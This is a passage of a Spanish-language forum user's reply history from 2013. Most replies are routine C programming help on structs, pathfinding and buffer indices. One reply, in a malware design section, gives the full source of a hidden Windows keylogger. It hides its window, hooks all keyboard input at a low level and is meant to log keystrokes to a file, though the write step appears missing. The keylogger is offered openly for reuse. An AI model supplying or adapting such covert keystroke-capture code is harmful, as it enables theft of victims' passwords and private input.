|
201
|
Programación / Programación C/C++ / Re: Problema de compilación
|
en: 9 Agosto 2013, 06:10 am
|
struct Array {int *v; int n;};
Te faltó el ';' al final de la declaración del struct. Debajo tienes la siguiente declaración: Array ArrayCreaAleatorio(int linf, int lsup) { Array a; //...
Y bueno para declarar el tipo de retorno de la función y la variable de esta manera deberías usar lo siguiente para declarar el struct: typedef struct {int *v; int n;} Array;
Si quieres declarar el struct tal y como lo tenías antes entonces deberías declarar el tipo de retorno y la variable de esta manera: struct Array ArrayCreaAleatorio(int linf, int lsup) { struct Array a; //...
No sé si tendrás el mismo error en otras líneas, pero bueno eso ya te lo dejo a ti. Saludos.
|
|
|
202
|
Foros Generales / Foro Libre / Re: Curiosidad filosófica. Vida y máquinas
|
en: 2 Julio 2013, 23:26 pm
|
Propiedad de los seres orgánicos por la cual crecen, se reproducen y responden a estímulos: los minerales no tienen vida. Que yo sepa el silicio, oro, cobre, fibra de vidrio, y demás materiales usados en la electrónica no son orgánicos. Lo mismo para acero, aluminio, y otros metales que podrían usarse para hacer ese hipotético robot. Saludos.
|
|
|
204
|
Programación / Programación C/C++ / Re: Duda con structs C/C++
|
en: 21 Junio 2013, 14:42 pm
|
Pues a mi esto me funciona perfectamente... #include <stdio.h> #include <string.h> struct prueba { int a; char b; char c[100]; }; int main() { struct prueba p1, p2, *p3, p4; // se inicializa p1 p1.a = 10; p1.b = 'A'; // se copia p1 a p2 y se imprime p2 = p1; printf("p2: %d %c %s\n", p2. a, p2. b, p2. c); // p3 apunta a p1 p3 = &p1; // se copia *p3 a p4 y se imprime p4 = *p3; printf("p4: %d %c %s\n", p4. a, p4. b, p4. c); return 0; }
Así que sí, puedes copiar structs directamente. En el ejemplo que te he dado también lo tienes con punteros. Saludos.
|
|
|
205
|
Programación / Programación C/C++ / Re: Obtener ruta más corta
|
en: 14 Junio 2013, 23:26 pm
|
La ruta más corta sería: (7,2) (7,9) (10,9) De hecho hay varias que son las más cortas. La que indicas es de 14 cuadrados, igual que por ejemplo, (2, 7) - (9, 7) - (9, 10) o (8, 2) - (8, 3) - (9, 3) - (9, 10), donde el primer número sería la fila y el segundo la columna. Como primera aproximación, podrías intentar que el cuadrado rojo vaya alternativamente hacia la coordenada x e y del cuadrado azul. Es decir, primero intente ir hasta la coordenada x, si llega a la fila o columna donde está el azul o choca con algo que entonces intente ir hasta la y, si vuelve a chocar que vaya a la x, etc. y así hasta que llegue. En el ejemplo que pones, este algoritmo daría alguna de las soluciones que te he comentado arriba. Igualmente es demasiado simple así que no le pidas mucho... Si por ejemplo llegaras a chocar y el cuadrado rojo estuviera rodeado por obstáculos, ahí te quedarías... O si chocas con algo mientras estás en la fila o columna donde está el cuadrado azul, te quedarías ahí también... Pero bueno, igual te da alguna idea para poder empezar. Saludos!
|
|
|
208
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Keylogger en C
|
en: 2 Junio 2013, 14:53 pm
|
Hola, te dejo aquí un código de un keylogger que hice hace bastante tiempo. Coge todas las letras y las guarda en el archivo de texto de esta manera: [letra]. El programa corre en segundo plano oculto, así que cuando quieras acabarlo abre el administrador de tareas y cierra su proceso. #include <windows.h> #include <winuser.h> #include <stdio.h> #include <string.h> // global hook handle is needed to use a low-level keyboard hook HHOOK hProc; __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam); DWORD __stdcall Keylogger (LPVOID path); void MessageLoop (void); int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { FreeConsole (); nShowCmd = SW_HIDE; LPTSTR execName = GetCommandLine (); HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL); if (hThread) return WaitForSingleObject (hThread, INFINITE); return 1; } __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) { // info about the key like the virtual-key code, scan code, some flags, time of the message and extra info KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam); // prepare the first parameter for the function GetKeyNameText() picking only the important information DWORD keyMessage = 1; keyMessage |= keyInfo.scanCode << 16; keyMessage |= (keyInfo.flags & 1) << 24; // load the key name in a buffer char keyName[0x100]; keyName[0] = '['; int i = GetKeyNameText (keyMessage, keyName+1, 0xFE); keyName[i+1] = ']'; // write the buffer in file FILE *f = fopen ("log.txt", "a+"); } return CallNextHookEx (NULL, nCode, wParam, lParam); } DWORD __stdcall Keylogger (LPVOID path) { // try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library. HINSTANCE hExec = GetModuleHandle (NULL); if (!hExec) hExec = LoadLibrary ((LPCTSTR) path); // two methods failed so return error if (!hExec) return 1; // install the hook hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0); // message loop to manage all the incoming messages MessageLoop (); UnhookWindowsHookEx (hProc); return 0; } void MessageLoop (void) { MSG message; while (GetMessage (&message, NULL, 0, 0)) { TranslateMessage (&message); DispatchMessage (&message); } }
Espero que te sirva, saludos!
|
|
|
209
|
Programación / Programación C/C++ / Re: Vectores vs Listas
|
en: 1 Junio 2013, 15:50 pm
|
Vale ahora lo he entendido, no solo hay que procesar los disparos sino que si no han impactado o salido del mapa no se deben borrar y por lo tanto se deben volver a comprobar más tarde.
Me he levantado hace poco y estoy algo espeso... xD
A ver si luego doy con alguna idea y te comento.
Un saludo!
|
|
|
210
|
Programación / Programación C/C++ / Re: Vectores vs Listas
|
en: 1 Junio 2013, 14:50 pm
|
Por que te lo cargas? while (in != out) ComprobarDisparo(disparos[out++]); Si 'in' ha pasado por ejemplo a 3, y 'out' está en 255, al sumarle uno a 'out' este pasa a 0. Como los índices siguen siendo distintos, se seguirá en el bucle hasta que los índices sean iguales.
|
|
|
|
|
|
|